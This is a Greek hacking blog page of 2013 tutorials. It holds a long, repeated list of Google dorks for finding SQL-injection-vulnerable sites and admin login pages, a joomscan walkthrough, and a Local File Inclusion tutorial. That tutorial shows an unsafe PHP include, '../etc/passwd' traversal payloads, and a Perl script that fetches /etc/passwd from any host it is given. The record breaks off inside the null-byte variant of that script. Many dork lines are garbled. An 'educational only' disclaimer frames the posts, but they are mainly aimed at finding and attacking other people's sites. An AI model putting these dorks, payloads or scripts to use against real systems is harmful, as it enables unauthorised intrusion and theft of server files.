!ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!

ΠΡΟΣΟΧΗ ΠΡΟΣ ΤΟΥΣ ΑΝΑΓΝΩΣΤΕΣ!
**** Σε αυτό το blog μερικά από τα άρθρα είναι αναδημοσιεύσεις από άρθρα του διαδικτύου και άλλα είναι προσωπικά tutorial που αναφέρονται σε διάφορα θέματα. Τα παραπάνω έγιναν για ενημέρωση του κοινού και εμπλουτισμό της εκπαιδευτικής διεύρυνσης. Όλα τα άρθρα είναι για εκπαιδευτικούς και μόνο σκοπούς. Δεν φέρω καμία ευθύνη εάν κάποιος αναγνώστης τα χρησιμοποιήσει κακόβουλα. ****
Εμφάνιση αναρτήσεων με ετικέτα Web Hacking. Εμφάνιση όλων των αναρτήσεων
Εμφάνιση αναρτήσεων με ετικέτα Web Hacking. Εμφάνιση όλων των αναρτήσεων

Τετάρτη 1 Μαΐου 2013

Λίστα dorks για sql injection...


Γειά σας... Σε αυτό το tutorial θα σας παρουσιάσω μερικά dorks τα οποία μπορούμε να τα βάλουμε στο google και να κάνουμε αναζήτηση για ευπαθείς σελίδες στην sql injection.

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=d=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?av
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran******.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl: info.php?id=
inurl : pro.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:tran******.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:shop+php?id+site:fr
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
inurl:index.php?id=
inurl:trainers.php?id=
inurl:login.asp
index of:/admin/login.asp
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:produit.php?id=+site:fr
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurlreview.php?id=
inurl:loadpsb.php?id=
inurlpinions.php?id=
inurl:spr.php?id=
inurlages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurlarticipant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurlrod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurlerson.php?id=
inurlroductinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurlrofile_view.php?id=
inurl:category.php?id=
inurlublications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurlrod_info.php?id=
inurl:shop.php?do=part&id=
inurlroductinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurlroduct.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurlroduit.php?id=
inurlop.php?id=
inurl:shopping.php?id=
inurlroductdetail.php?id=
inurlost.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurlage.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurlroduct_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurlroduct-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurlpinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurlffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

Τρίτη 23 Απριλίου 2013

OWASP Joomla Security Scanner

Σε αυτό το tutorial ακολουθεί μια επίδειξη ενός ανιχνευτή αδυναμιών σελίδων και κυρίως ενός ανιχνευτή αδυναμιών Joomla. Στη συνέχεια του άρθρου θα αναλύσουμε τι είναι το Joomla καθώς και όλη τη διαδικασία που ακολουθούμε με τη χρήση του Backtrack 5 R3 έτσι ώστε να ανακαλύψουμε αδυναμίες ενός Joomla site.

Τι είναι το Joomla;

Το Joomla είναι ένα CMS (Content Management System) ή Σύστημα Διαχείρισης Περιεχομένου στα Ελληνικά το οποίο ουσιαστικά είναι ένα έτοιμο προγραμματιστικά site στο οποίο ο καθένας δίνει τις δικές του ρυθμίσεις και μπορεί να επέμβει εμφανισιακά είτε βάζοντας δικά του templates είτε πειράζοντας μόνος του το template που έχει.
Όπως πολλά παρόμοια λογισμικά, έτσι και το Joomla συχνά υποφέρει από προβλήματα ασφάλειας τα οποία τις περισσότερες φορές δεν είναι τόσο σοβαρά. Ένα παράδειγμα: Το Jsupport είναι ένα extension που μπορεί να χρησιμοποιηθεί στο Joomla. Βοηθάει τον δημιουργό του Joomla site να χειρίζεται FAQs και comments. Μία ευπάθεια του Jsupport αφορούσε την απουσία ελέγχου της τιμής της μεταβλητής “alpha”. Κάποιος κακόβουλος χρήστης θα μπορούσε να δώσει ως τιμή της “alpha” ένα SQL query και έτσι να επέμβει στη ΒΔ της εφαρμογής (SQL injection). Αυτό ήταν δυνατό, καθώς η μεταβλητή “alpha” ήταν η σύνδεση του κώδικα του Jsupport με τη ΒΔ.

Πώς λειτουργεί;

Το Joomla! εγκαθίσταται σε έναν κεντρικό υπολογιστή, τον web server. Ο χρήστης, εσείς δηλαδή, έχετε πρόσβαση στο περιβάλλον διαχείρισης μέσω ενός browser, όπως είναι ο Internet Explorer ή ο Firefox.
Από τη στιγμή που είστε εσείς ο διαχειριστής, μπορείτε να προσθέσετε οποιοδήποτε κείμενο ή γραφικό,και έτσι να δημιουργήσετε τις ιστοσελίδες σας.

Ας αρχίσουμε:


Βήμα 1ο: Ανοίγω ένα τερματικό και γράφω: cd /pentest/web/joomscan/ Αν δεν έχετε το Backtrack τότε σε περιβάλλον linux το κατεβάζετε από το σύνδεσμο που δίνεται εδώ.

Βήμα 2ο: Στη συνέχεια γράφω ls και εντοπίζω το joomscan.pl

Βήμα 3ο: Μετά βεβαιώνομαι ότι η url που έχω στα χέρια μια για έλεγχω ότι είναι joomla. Απλά θα πρέπει να κάνω έλεγχο στο google με τα dorks που δίνονται στη σελίδα εδώ.

Βήμα 4ο: Τώρα γράφω ./joomscan.pl -u <target url> όπως φαίνεται στην παρακάτω εικόνα.





Βήμα 5ο: Όπως φαίνεται στην εικόνα το script πρώτα ελέγχει αν ο στόχος μας έχει κάποιο Anti-Scanner πρόγραμμα.

Βήμα 6ο: Στη συνέχεια προσπαθεί να ανιχνεύσει την ύπαρξη Firewall, ακολουθεί την ακριβή τοποθεσία του στόχου, ελέγχει την έκδοση και τέλος αρχίζει το σάρωμα.

Βήμα 7ο: Η url που χρησιμοποίησα στο παράδειγμα είναι απλώς ένα παράδειγμα και το script δε θα μας επιστρέψει συγκεκριμένα αποτελέσματα.

Βήμα 10ο: Όπως φαίνεται στη συνέχεια το scanner μας θα αρχίσει μόνο του να κάνει έλεγχο για αδυναμίες ένάντια στο site. Τέλος καθώς θα περνάνε τα δευτερόλεπτα θα μας βγάλει αρκετά αποτελεσματα αδυναμιών που υπάρχουν στο στόχο μας.


ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Κυριακή 21 Απριλίου 2013

LFI (Local File Inclusion)...

Γειά σας, μετά από αρκετό καιρό απουσίας γυρίσαμε και πάλι με νέα tutorials και δημοσιεύσεις. Σε αυτό το tutorial θα αναλύσουμε ένα τρόπο επίθεσης εξίσου σημαντικό για την κατάληψη ενός server. Ο τρόπος αυτό είναι παρόμοιος με την επίθεση RFI που είχαμε προαναφέρει σε παλιότερο άρθρο. Η εισαγωγή που θα κάνω για να ξεκινήσω αυτό τον τύπο επίθεσης είναι ένα πολύ σύντομο και παλιό ρητό... "Τα μεγάλα κάστρα πέφτουν από μέσα"...
Σύμφωνα με προηγούμενο άρθρο η επίθεση RFI (Remote File Inclusion) είναι ένας τύπος επίθεσης σε server όπου δηλαδή, κάποιος επιτιθέμενος μπορεί να εκτελεί κώδικα σε ένα απομακρυσμένο site μέσω ενός .php /.asp shell που “φιλοξενείται” σε δικό του server. Διαβάζοντας τον τίτλο LFI (Local File Inclusion) θα μπορούσε να πει κανείς ότι η επίθεση αυτή είναι ίδια σχεδόν με την RFI με την μόνη διαφορά ότι η επίθεση Local File Inclusion εμφανίζει αρχεία μέσα απ’ τα τον server.
Αν είχαμε ένα site που είχε πρόβλημα με τις επιθέσεις RFI η επίθεση θα γινόταν έτσι:

Ενώ ένα site ευπαθές σε LFI επιθέσεις, θα έχει την εξής σύνταξη:

http://www.site.com/index.php?page=../../../../../../../etc/passwd

Ας δούμε τι είναι μια επίθεση τύπου LFI και που οφείλετε μια τέτοια αδυναμία. Όλα αρχίζουν και τελειώνουν εδώ για τον απρόσεχτο προγραμματιστή!

<?php
$page = $_GET[page];
include ($page);
?>

Όπως μπορεί να καταλάβει ο καθένας (ή περίπου ο καθένας), αυτό είναι ένα ευπαθές κομμάτι PHP κώδικα που δεν πρέπει ΠΟΤΕ να χρησιμοποιηθεί κατά τη δημιουργία μια σελίδας. Το include() δεν ελέγχετε πουθενά και αφήνει τα δεδομένα να “περνούν” στο site χωρίς πρώτα, να φιλτραριστούν με κάποιο τρόπο!
Mια ενδιαφέρουσα ανακάλυψη -μέσω του LFI- θα ήταν το αρχείο /etc/passwd/ αφού, μέσω της επίθεσης LFI μπορούμε να διαβάσουμε αρχεία μεσα απ’ το server. Αν στη σελίδα index.php?page=news.php αντικαταστήσουμε το “news.php” με “../../../../../../../../../etc/passwd“, θα έχουμε στα χέρια μας το αρχείο “/etc/passwd/“.

Προσοχή: Μιλάμε πάντα για ένα site το οποίο είναι ευπαθές σε επίθεση LFI! Βέβαια και αυτά τα στοιχεία να πάρουμε μπορούν να χαρακτηριστούν ως άχρηστα αφού είναι κωδικοποιημένα (με x) και ο μόνος τρόπος να τα σπάσουμε είναι να αποκτήσουμε πρόσβαση στο directory “/etc/shadow” το οποίο ΠΟΤΕ δεν είναι προσβάσιμο για το ευρύ “κοινό” αφού είναι only Readable / Writeable απ’ τον root.
Κάπως έτσι άδοξα λοιπόν, θα τέλειωνε η ‘καριέρα’ ενός skript kiddie (αφού πρώτα είχε κάνει φιγούρα σε γνωστούς, φίλους, ξαδέρφια και μακρινούς συγγενείς!!). Άρα, αν φτάσουμε μέχρι εδώ και το παρατήσουμε, θα συμφωνήσω ΑΠΟΛΥΤΑ με τους επικριτές του LFI, ότι αποτελεί μια άχρηστη τεχνική.
Τι θα γινόταν αν συνδικαζόταν κάπως αλλιώς;
Τα βήματα που ακολουθούν είναι και τα ρεαλιστικά βήματα που θα ακολουθούσε κάποιος κακόβουλος hacker ώστε να πάρει την πλήρη έλεγχο ενός site.

Το Χρονικό μιας επίθεσης.

Βήμα 1


Όπως όλοι μας γνωρίζουμε, ένα απ’ τα πιο δυνατά εργαλεία στα χέρια των hackers είναι η μηχανή αναζήτησης Google αφού ουσιαστικά τους λύνει τα χέρια με μερικές πληκτρολογήσεις (το μόνο που θέλει είναι εξοικείωση πάνω στον τρόπο που θέτουμε τα ζητούμενα.Ας επιστρέψουμε στο θέμα μας, το οποίο είναι το LFI και πως θα μπορούσε κάποιος να βρει vulnerable (σε  LFI) site μέσω του google.

Γράφοντας:

inurl:index.php?page=

ή

inurl:main.php?pg=
…και τα λοιπά…
Φυσικά μπορούμε να αλλάξουμε τα δεδομένα που έχουμε θέσει προς αναζήτηση… ανάλογα με τις απαιτήσεις και τις ανάγκες μας.

Βήμα 2

Αφού βρει κάποιος ένα site το οποίο είναι ευάλωτο σε επιθέσεις LFI σίγουρα διαπίστωσε ότι το συγκεκριμένο κενό ασφαλείας δίνει την δυνατότητα να ανάγνωσης του αρχείου “/etc/passwd”. Σειρά σε κάθε επίθεση έχει η εύρεση ή η δημιουργία ενός προγράμματος αυτοματοποιημένης εκμετάλλευσης του κενού ασφαλείας που βρήκαμε. Στην περίπτωση μας θα γράψουμε μόνοι μας όλα τα προγράμματα που θα χρησιμοποιήσουμε μιας και δημιουργώντας τα προγράμματα που χειριζόμαστε κατανοούμε καλύτερα το κενό ασφάλειας που εκμεταλλευτήκαμε.

01#!/usr/bin/perl
02
03use LWP::UserAgent;
04use HTTP::Request;
05
06print "\n(c) totalXaker magazine \n";
07print "LocalFI Directory scanner [mr.pr0n]\n";
08# Eisagwgh twn dedomenwn
09print "Host: ";
10print "[Ex: www.xxx.org ]:";
11chop ($host = );
12$host = "http://".$host if ($host !~ /^http:/);
13print "Enter path:";
14print "[Ex: xxx.php?xxx= ]:";
15chop ($path = );
16{
17        $ext="../../../../../../../../../../../../../../etc/passwd";
18        $lfi=$host."/".$path.$ext;
19        print "$lfi\n\n";
20        $useragent = LWP::UserAgent->new;
21        $request=HTTP::Request->new(GET=>$lfi);
22        $scnpg = $useragent->request($request)->as_string;
23        # Elegxos gia thn le3ei pou periexei ta grammata root
24        if ($scnpg=~/root/)
25        {
26                print "Woow ",$host," is Vulnerable!\n";
27        }
28        else
29        {
30                print "PFF.. ",$host," is NOT Vulnerable!\n";
31        }
32}

Ασ’ πούμε λίγα λόγια για τον παραπάνω κώδικα! Το scriptaki όπως μπορούμε να διαπιστώσουμε, δεν κάνει κάτι το ιδιαίτερο απλά μας βγάζει απ’ τον κόπο της χειρωνακτικής εκτέλεσης του LFI test για το αν το συγκεκριμένο site (που έχουμε βάλει στο μάτι) έχει πρόβλημα τύπου LFI η όχι και συγκεκριμένα αν έχει προσβάσιμο προς το κοινό το “/etc/passwd”.Όταν βρει το /etc/passwd (αν υπάρχει!) θα ψάξει τα περιεχόμενα της σελίδας για να βρει τη λεξη root

if ($scnpg=~/root/)


Ο λόγος που βάλαμε τη λέξη root είναι απλός και σίγουρα κατανοητός. Κάθε “/etc/passwd” που σέβεται τον εαυτό του αναφέρει στην αρχή του την λέξη root. Φυσικά μπορείτε το root να το αντικαταστήσετε με home ή να το προσθέσετε και αυτό στο scannarisma για μεγαλύτερη αξιοπιστία στο αποτέλεσμα. Σε περίπτωση που μας εμφανίσει το μήνυμα “Woow http://www.site.com is Vulnerable“, τότε είμαστε σε καλό δρόμο αλλιώς. Άλλη μια παράμετρος η οποία θα μπορούσε να προστεθεί στο scanneraki μας για έλεγχο είναι το Nullbyte ():

http://www.site.com/index.php?file=../../../../../../../../ etc/passwd


Έχουν υπάρξει φορές που ενώ ζητάμε από ένα site να μας εμφανήσει το αρχείο “/etc/passwd”, εκείνο είτε δεν μας το εμφανίζει, είτε μας εμφανίζει μηνύματα λάθους όπως στο παράδειγμα :

Warning: main(/etc/passwd.inc): failed to open stream: No such file or directoryectory in /var/www/htdocs/index1.php on line 199
Warning: main(): Failed opening '/etc/passwd.inc' for inclusion (include_path='.:/usr/lib/php') in /var/www/htdocs/index1.php on line 199


Ενώ, όταν βάλουμε /etc/passwd μας εμφανίζει κανονικά /etc/passwd. Η μέθοδος αυτή λέγετε αλλιώς και Null poison attack. Κάτι τέτοιο είναι πολύ εύκολο να προστεθεί στον κώδικα μας, απλά προσθέτοντας μερικές γραμμές ακόμα. Μετά την γραμμή 29 μπορούμε να προσθέσουμε τον παρακάτω κώδικα.

Null poison Attack Code:

01print "Tryin' to LFI with NullByte ()\n";
02{
03$ext2="../../../../../../../../../../../../../../etc/passwd";
04$byte=$host."/".$path.$ext2;
05print "$byte\n\n";
06$useragent = LWP::UserAgent->new;
07$request=HTTP::Request->new(GET=>$byte);
08$scnpg = $useragent->request($request)->as_string;
09if ($scnpg=~/root/)
10{
11        print "Woow ",$host," is Vulnerable with !\n";
